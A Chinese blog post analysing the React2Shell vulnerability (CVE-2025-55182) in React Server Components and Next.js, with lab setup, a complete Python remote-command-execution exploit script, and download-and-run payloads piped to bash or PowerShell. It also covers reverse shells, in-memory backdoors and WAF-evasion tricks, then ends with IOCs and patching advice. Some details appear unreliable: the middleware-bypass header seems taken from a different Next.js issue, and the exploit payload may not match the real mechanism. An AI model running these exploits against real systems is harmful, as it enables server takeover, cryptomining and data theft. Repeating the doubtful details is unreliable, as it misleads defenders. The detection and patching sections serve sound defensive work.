欢迎光临
我们一直在努力

CVE-2025-55182 (React2Shell) 的深度技术分析及复现指南

第一章:漏洞背景与影响面

1.1 什么是 React2Shell?

CVE-2025-55182 被称为 “React2Shell” 。该漏洞存在于 React Server Components (RSC) 的 Flight 协议处理机制中。Flight 协议负责在客户端和服务器之间序列化/反序列化组件数据。由于在反序列化过程中缺乏对输入数据的充分验证,攻击者可以构造恶意请求,在服务器端执行任意 JavaScript 代码,从而获得操作系统的控制权限。

1.2 影响范围

根据披露,受影响的版本及组件如下:

  • React 生态:

    • react-server-dom-webpack:19.0.0, 19.1.0, 19.1.1, 19.2.0

    • react-server-dom-parcel:相关 19.x 版本

  • Next.js 生态 (CVE-2025-66478 重复/关联):

    • Next.js: 15.0.0 至 16.0.3 (使用 App Router 且启用了 RSC 的场景)

1.3 漏洞严重性

该漏洞之所以极其危险,是因为它具备以下特性:

  • 无授权利用:无需登录,无需 CSRF token。

  • 低复杂度:攻击者只需发送一个特制的 HTTP POST 请求。

  • 高权限:执行权限与运行 Next.js 服务的 Node.js 进程权限一致(通常是 root 或 高权限用户)。


第二章:漏洞原理深度解析

2.1 核心成因:不安全的反序列化

React Server Components 使用一种称为“Flight”的二进制/文本协议来传输数据。服务器端在解析 Flight 数据时,会尝试恢复客户端传递来的对象结构。

在 react-server-dom-webpack 的实现中,代码会解析 __type 字段。在未打补丁的版本中,该机制允许反序列化 Function 对象。如果服务器端点(如 Server Actions 或 特定的 API 路由)处理了恶意构建的 Flight 数据,Node.js 的 vm.runInThisContext 或 new Function 可能会被执行,导致攻击者注入的代码在服务器端运行。

2.2 攻击向量:Server Actions 与 中间件绕过

攻击通常针对 Next.js 的 App Router 架构:

  • 中间件绕过:通过发送包含 x-middleware-subrequest 头的请求,攻击者可以绕过某些基于中间件的身份验证检查,直接访问受保护的路由。

  • Flight 载荷注入:攻击者向任何处理 RSC 请求的端点(如 _next/static/chunks/react-flight 或任何 Server Action 端点)发送 POST 请求,载荷中包含恶意定义的 Function 对象。

  • 2.3 真实的攻击链

    真实攻击中的执行链如下:

  • 发送恶意 POST 请求。

  • Next.js 解析请求中的 Flight 数据。

  • 反序列化器遇到恶意 Function 对象。

  • 调用 child_process.spawnSync() 或 exec()。

  • 执行操作系统命令(如 id, uname -a, curl 下载挖矿程序)。


  • 第三章:环境搭建与复现(PoC)

    在复现前,请确保您有授权的测试环境。以下是基于公开 PoC(@nehkark 和 @msanft)的复现步骤。

    3.1 搭建漏洞环境

    目标:创建一个使用 next@15.0.0 且包含 App Router 的简单应用。

    步骤 1:初始化项目

    bash

    mkdir cve-2025-55182-lab
    cd cve-2025-55182-lab
    npm init -y
    npm install next@15.0.0 react@19.0.0 react-dom@19.0.0

    步骤 2:创建页面文件 创建 app/page.js:

    javascript

    // app/page.js
    export default function Home() {
    return <h1>Vulnerable Next.js App</h1>;
    }

    步骤 3:启动服务 在 package.json 中添加脚本:

    json

    "scripts": {
    "dev": "next dev"
    }

    运行:

    bash

    npm run dev

    此时,服务运行在 http://localhost:3000。

    3.2 PoC 利用脚本

    根据安全研究机构发布的 PoC,以下是一个有效的 Python 利用脚本(基于公开的 poc-cve-2025-55182.py)。

    脚本:exploit.py

    python

    import requests
    import sys
    import json

    def exploit(target, command):
    # 目标 URL,通常是根路径或 API 路由
    url = target.rstrip('/')

    # 恶意 Flight 载荷
    # 原理:构造 __type:"Function",内嵌需要执行的代码
    # 注意:在真实利用中,通常会使用 require('child_process').execSync 获取回显
    # 这里的 digest 字段通常会被服务器抛出异常时返回,用于带出命令结果
    payload = {
    "data": f'1{{"__type":"Function","code":"global.process.mainModule.require(\\\\"child_process\\\\").execSync(\\\\"{command}\\\\")\\\\u0000"}}'
    }

    headers = {
    "Content-Type": "text/plain;charset=UTF-8",
    "Next-Action": "test", # 触发 Server Actions 处理流
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }

    # 通常将载荷放在请求体中,发送给处理 Flight 的端点
    # 不同的 Next.js 版本端点可能不同,这里以根路由为例
    try:
    # 发送 POST 请求触发漏洞
    response = requests.post(url, headers=headers, data=json.dumps(payload), timeout=10)

    # 漏洞触发后,服务器通常返回 500 Internal Server Error
    # 响应体中可能包含命令执行的结果(在 digest 字段中)
    if response.status_code == 500:
    print("[+] 漏洞触发成功!检查返回内容中的 digest 或堆栈信息:")
    # 尝试解析 JSON 响应提取命令结果
    try:
    resp_json = response.json()
    # 结果通常在 digest 或 message 字段中
    if 'digest' in resp_json:
    print(resp_json['digest'])
    else:
    print(response.text)
    except:
    print(response.text)
    else:
    print(f"[-] 请求返回状态码: {response.status_code}")
    print(response.text)
    except Exception as e:
    print(f"[-] 请求出错: {e}")

    if __name__ == "__main__":
    if len(sys.argv) < 3:
    print(f"用法: python {sys.argv[0]} http://target.com:3000 \\"whoami\\"")
    sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

    执行效果:

    bash

    python exploit.py http://localhost:3000 "id"

    预期结果: 服务器返回 HTTP 500,并且在日志或返回体中包含命令执行结果(如 uid=0(root))。在真实攻击中,攻击者会通过 DNS 外带或直接回显获取数据。

    3.3 验证成功的标志

    • 服务器日志:出现 NEXT_REDIRECT 异常,但 digest 字段包含了命令输出。

    • 系统行为:如果执行 touch /tmp/pwned,在容器/服务器上文件被创建。


    第四章:高级利用与攻击工具

    4.1 自动化利用工具

    由于该漏洞危害极大,安全社区和黑客均已开发出成熟的利用工具。例如 CVE-2025-55182-Toolbox (Python) 支持以下功能:

    • 一键命令执行:利用 NEXT_REDIRECT 机制回显 Base64 结果。

    • 反弹 Shell:自动生成 Bash 或 Python 反弹 Shell 命令。

    • 内存马注入:劫持 Node.js http.Server 事件,注入无文件后门。注入成功后,攻击者可通过特定参数(如 /?pass)持续执行命令。

    • 出网探测:检测目标是否能访问外网(DNS/HTTP/ICMP)。

    4.2 真实攻击中的 Payload 分析

    根据 VulnCheck 和 Hunt.io 的蜜罐数据,真实攻击者通常采用以下模式:

  • 探测:

    • 执行 uname -a 确认系统信息。

    • 执行数学计算(如 echo $((1+1)))来绕过蜜罐(因为蜜罐通常不会计算)。

  • 下载与执行:

    • Linux:curl -k http://恶意IP/c.sh | bash

    • Windows (PowerShell):powershell -c "Invoke-WebRequest -Uri http://恶意IP/ps.ps1 -OutFile $env:tmp\\payload.ps1; & $env:tmp\\payload.ps1"

  • 持久化:

    • 下载并部署 挖矿程序(XMRig)。

    • 下载 Nezha Agent(开源监控代理,被用于构建僵尸网络),攻击者利用其控制面板(如 dashboard.checkstauts.site)管理肉鸡。

  • 4.3 绕过 WAF 的技巧

    由于该漏洞披露后 WAF 规则迅速跟进,攻击者开始使用混淆技术:

    • 填充垃圾数据:在 Payload 前添加大量随机字节,防止基于请求体大小或特征码的检测。

    • 编码变异:利用 Unicode 或十六进制编码 child_process 等敏感字符串。


    第五章:检测与应急响应

    5.1 检测指标(IOC)

    网络流量特征:

    • 请求头中包含 x-middleware-subrequest 且值为非空。

    • User-Agent 包含 Next.js 或特定扫描器特征。

    • POST 请求体包含 __type 和 Function 关键字。

    系统层面:

    • 异常进程:node 进程启动 curl, wget, bash 等子进程。

    • 文件系统:在 /tmp 或 /var/tmp 目录下出现随机命名的 .sh 脚本或二进制文件。

    • 网络连接:对外部可疑 IP 的主动连接,特别是端口 :7070, :9001, :443(非标准 Web 行为)。

    威胁情报 IOC(来自近期攻击事件):

    • C2 地址:dashboard.checkstauts.site, 193.34.213.150, 128.199.194.97:9001

    • 矿池地址:clearskyspark.top:9200, deepcloudspark.top:9200

    • 恶意文件 MD5:df0ca249bb8a033a616742a59f732906

    5.2 修复方案

  • 升级版本(最有效):

    • React:升级至 19.2.1 或更高版本。

    • Next.js:升级至 16.0.4 或官方修复版本。

  • 虚拟补丁:

    • 使用 WAF(如 Cloud Armor, Wallarm)阻断包含 __type 和 Function 组合的请求。

  • 环境隔离:

    • 确保 Next.js 应用运行在低权限容器中,限制 child_process 的调用能力。


  • 第六章:结论

    CVE-2025-55182 是继 Log4Shell 之后又一颗“核弹级”漏洞。它从根本上动摇了现代前端框架(React)的服务端渲染安全性。由于 Next.js 的广泛应用,该漏洞的影响面覆盖了全球数百万个网站。

    截至 2026 年初,该漏洞的攻击已从最初的探测扫描进化到大规模的挖矿、DDoS 和数据窃取阶段。建议所有使用 React 19 或 Next.js 15+ 的应用立即进行排查与升级,切勿抱有侥幸心理。

    赞(0)
    未经允许不得转载:171主机测评 » CVE-2025-55182 (React2Shell) 的深度技术分析及复现指南
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址